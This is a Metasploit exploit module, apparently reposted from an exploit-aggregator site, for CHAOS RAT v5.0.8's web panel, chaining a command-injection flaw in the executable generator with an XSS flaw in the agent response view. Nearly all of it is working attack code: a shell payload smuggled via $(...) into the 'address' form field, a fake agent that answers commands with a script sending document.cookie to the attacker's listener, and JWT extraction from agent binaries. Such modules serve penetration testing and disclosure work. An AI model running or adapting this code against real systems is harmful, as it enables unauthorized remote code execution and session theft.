Share
## https://sploitus.com/exploit?id=1337DAY-ID-39622
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Rex::Proto::Http::WebSocket

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Chaos RAT XSS to RCE',
        'Description' => %q{
          CHAOS v5.0.8 is a free and open-source Remote Administration Tool that
          allows generated binaries to control remote operating systems. The
          webapp contains a remote command execution vulnerability which
          can be triggered by an authenticated user when generating a new
          executable. The webapp also contains an XSS vulnerability within
          the view of a returned command being executed on an agent.

          Execution can happen through one of three routes:

          1. Provided credentials can be used to execute the RCE directly

          2. A JWT token from an agent can be provided to emulate a compromised
          host. If a logged in user attempts to execute a command on the host
          the returned value contains an xss payload.

          3. Similar to technique 2, an agent executable can be provided and the
          JWT token can be extracted.

          Verified against CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2 running
          in a docker container.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'chebuya' # original PoC, analysis
        ],
        'References' => [
          [ 'URL', 'https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc'],
          [ 'URL', 'https://github.com/tiagorlampert/CHAOS'],
          [ 'CVE', '2024-31839'], # XSS
          [ 'CVE', '2024-30850'] # RCE
        ],
        'Platform' => ['linux', 'unix'],
        'Privileged' => false,
        'Payload' => { 'BadChars' => ' ' },
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultOptions' => {
          'WfsDelay' => 3_600, # 1hr
          'URIPATH' => '/' # avoid long URLs in xss payloads
        },
        'DisclosureDate' => '2024-04-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('USERNAME', [ false, 'User to login with']), # admin
        OptString.new('PASSWORD', [ false, 'Password to login with']), # admin
        OptString.new('TARGETURI', [ true, 'The URI of the Chaos Application', '/']),
        OptString.new('JWT', [ false, 'Agent JWT Token of the malware']),
        OptPath.new('AGENT', [ false, 'A Chaos Agent Binary'])
      ]
    )
    register_advanced_options(
      [
        OptString.new('AGENT_HOSTNAME', [ false, 'Hostname for a fake agent', 'DC01']),
        OptString.new('AGENT_USERNAME', [ false, 'Username for a fake agent', 'Administrator']),
        OptString.new('AGENT_USERID', [ false, 'User ID for a fake agent', 'Administrator']),
        OptEnum.new('AGENT_OS', [ false, 'OS for a fake agent', 'Windows', ['Windows', 'Linux']]),
      ]
    )
  end

  def on_request_uri(cli, request)
    if request.method == 'GET' && @xss_response_received == false
      vprint_status('Received GET request.')
      return unless request.uri.include? '='

      cookie = request.uri.split('jwt=')[1]
      print_good("Received cookie: #{cookie}")
      send_response_html(cli, '')
      @xss_response_received = true
      list_agents(cookie)
      rce(cookie)
    end
    send_response_html(cli, '')
  end

  def mac_address
    @mac_address ||= Faker::Internet.mac_address
    @mac_address
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    )

    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200

    return CheckCode::Detected('Chaos application found') if res.body.include?('<title>CHAOS</title>')

    CheckCode::Safe('Chaos application not found')
  end

  def login
    vprint_status('Attempting login')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'auth'),
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200
    res.get_cookies.scan(/jwt=([\w._-]+);*/).flatten[0] || ''
  end

  def rce(cookie)
    data = Rex::MIME::Message.new

    data.add_part("http://localhost\'$(#{payload.encoded})\'", nil, nil, 'form-data; name="address"')
    data.add_part('8080', nil, nil, 'form-data; name="port"')
    data.add_part('1', nil, nil, 'form-data; name="os_target"') # 1 windows, 2 linux
    data.add_part('', nil, nil, 'form-data; name="filename"')
    data.add_part('false', nil, nil, 'form-data; name="run_hidden"')

    post_data = data.to_s

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'generate'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data,
      'cookie' => "jwt=#{cookie}"
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Shellcode rejected: #{res.body}") unless res.code == 200
  end

  def convert_to_int_array(string)
    string.bytes.to_a
  end

  # Retrieve the server's response and pull out the command response. The return value is
  # the server's response value (or 1 on failure).
  def recv_wsframe_status(wsock)
    res = wsock.get_wsframe
    return 1 unless res

    begin
      res_json = JSON.parse(res.payload_data)
    rescue JSON::ParserError
      fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.')
    end
    command = res_json['command']
    return 1 if command.nil?

    command
  end

  def agent_command_handler(cookie)
    vprint_status('WebSocket connecting to receive commands')
    headers = {
      'Cookie' => "jwt=#{cookie}",
      'X-Client' => mac_address
    }

    wsock = connect_ws(
      'uri' => normalize_uri(target_uri.path, 'client'),
      'headers' => headers
    )

    start_time = Time.now.to_i
    command = 1
    while Time.now.to_i < start_time + datastore['WfsDelay']
      begin
        Timeout.timeout(datastore['WfsDelay']) do
          command = recv_wsframe_status(wsock)
        end
      rescue Timeout::Error
        command = 1
      end

      next if command == 1

      vprint_good("Received agent command '#{command}', sending XSS in return")

      data = {
        'client_id' => mac_address,
        # removed the rickroll from the PoC :(
        'response' => convert_to_int_array("</pre><script>var i = new Image;i.src='http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/'+document.cookie;</script>"),
        'has_error' => false
      }
      wsock.put_wsbinary(JSON.generate(data))
    end
    print_status('Stopping WebSocket connection')
  end

  def agent_callback_checkin(cookie)
    start_time = Time.now.to_i
    while Time.now.to_i < start_time + datastore['WfsDelay']
      print_status('Performing Callback Checkin')
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'health'),
        'cookie' => "jwt=#{cookie}"
      )
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200

      body = {
        hostname: datastore['AGENT_HOSTNAME'],
        username: datastore['AGENT_USERNAME'],
        user_id: datastore['AGENT_USERID'],
        os_name: datastore['AGENT_OS'],
        os_arch: 'amd64',
        mac_address: mac_address,
        local_ip_address: datastore['SRVHOST'],
        port: datastore['SRVPORT'].to_s,
        fetched_unix: Time.now.to_i
      }

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'device'),
        'cookie' => "jwt=#{cookie}",
        'data' => body.to_json
      )
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200
      Rex.sleep(30)
    end
    print_status('Stopping Callback Checkin')
  end

  def fake_agent(server_cookie)
    # start callback checkins and command handler
    @threads = []
    @threads << framework.threads.spawn('CHAOS-agent-callback', false) do
      agent_callback_checkin(server_cookie)
    end
    @threads << framework.threads.spawn('CHAOS-agent-command-handler', false) do
      agent_command_handler(server_cookie)
    end
    @threads.map do |t|
      t.join
    rescue StandardError => e
      print_error("Error in CHAOS Rat Threads: #{e}")
    end
  end

  #
  # Handle the HTTP request and return a response.  Code borrowed from:
  # msf/core/exploit/http/server.rb
  #
  def start_http_service(opts = {})
    # Start a new HTTP server
    @http_service = Rex::ServiceManager.start(
      Rex::Proto::Http::Server,
      (opts['ServerPort'] || bindport).to_i,
      opts['ServerHost'] || bindhost,
      datastore['SSL'],
      {
        'Msf' => framework,
        'MsfExploit' => self
      },
      opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),
      datastore['SSLCert'],
      datastore['SSLCompression'],
      datastore['SSLCipher'],
      datastore['SSLVersion']
    )
    @http_service.server_name = datastore['HTTP::server_name']
    # Default the procedure of the URI to on_request_uri if one isn't
    # provided.
    uopts = {
      'Proc' => method(:on_request_uri),
      'Path' => resource_uri
    }.update(opts['Uri'] || {})
    proto = (datastore['SSL'] ? 'https' : 'http')

    netloc = opts['ServerHost'] || bindhost
    http_srvport = (opts['ServerPort'] || bindport).to_i
    if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443)
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{http_srvport}"
      else
        netloc = "#{netloc}:#{http_srvport}"
      end
    end
    print_status("Listening for XSS response on: #{proto}://#{netloc}#{uopts['Path']}")

    # Add path to resource
    @service_path = uopts['Path']
    @http_service.add_resource(uopts['Path'], uopts)
  end

  def list_agents(cookie)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'devices'),
      'headers' => {
        'cookie' => "jwt=#{cookie}"
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    soup = Nokogiri::HTML(res.body)
    rows = soup.css('tr')

    agent_table = Rex::Text::Table.new(
      'Header' => 'Live Agents',
      'Indent' => 1,
      'Columns' =>
        [
          'IP',
          'OS',
          'Username',
          'Hostname',
          'MAC'
        ]
    )

    rows.each do |row|
      cells = row.css('td')
      next if cells.length != 7

      agent_ip = cells[4].text.strip
      hostname = cells[1].text.strip

      agent_table << [agent_ip, cells[3].text.strip, cells[2].text.strip, hostname, cells[5].text.strip]
      report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "CHAOS C2 Agent Deployed, callback: #{datastore['RHOST']}")
    end
    print_good('Detected Agents')
    print_line(agent_table.to_s)
  end

  def exploit
    unless (datastore['USERNAME'] && datastore['PASSWORD']) ||
           datastore['JWT'] ||
           datastore['AGENT']
      fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required')
    end
    fail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0

    @xss_response_received = false

    if datastore['USERNAME'] && datastore['PASSWORD']
      print_status('Attempting exploitation through direct login')
      cookie = login
      rce(cookie)
    elsif datastore['JWT']
      print_status('Attempting exploitation through JWT token')
      vprint_status("Fake MAC for agent: #{mac_address}")
      start_http_service
      fake_agent(datastore['JWT'])
    elsif datastore['AGENT']
      print_status('Attempting exploitation through Agent')
      fail_with(Failure::BadConfig, 'AGENT file not found') unless File.file?(datastore['AGENT'])
      agent_exe = File.read(datastore['AGENT'])
      if agent_exe =~ /main\.ServerAddress=(((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4})/
        server_address = ::Regexp.last_match(1)
        vprint_status("Server address: #{server_address}")
      end

      if agent_exe =~ /main\.Port=(\d{1,6})/
        server_port = ::Regexp.last_match(1)
        vprint_status("Server port: #{server_port}")
      end

      if agent_exe =~ %r{main\.Token=([a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*)}
        server_cookie = ::Regexp.last_match(1)
        vprint_status("Server JWT Token: #{server_cookie}")
      end
      fail_with(Failure::BadConfig, 'JWT token not found in agent executable') unless server_cookie
      vprint_status("Fake MAC for agent: #{mac_address}")
      start_http_service
      fake_agent(server_cookie)
    end
  end

  def cleanup
    # Clean and stop HTTP server
    if @http_service
      begin
        @http_service.remove_resource(datastore['URIPATH'])
        @http_service.deref
        @http_service.stop
        @http_service = nil
      rescue StandardError => e
        print_error("Failed to stop http server due to #{e}")
      end
    end
    @threads.each(&:kill) unless @threads.nil? # no need for these anymore
    super
  end
end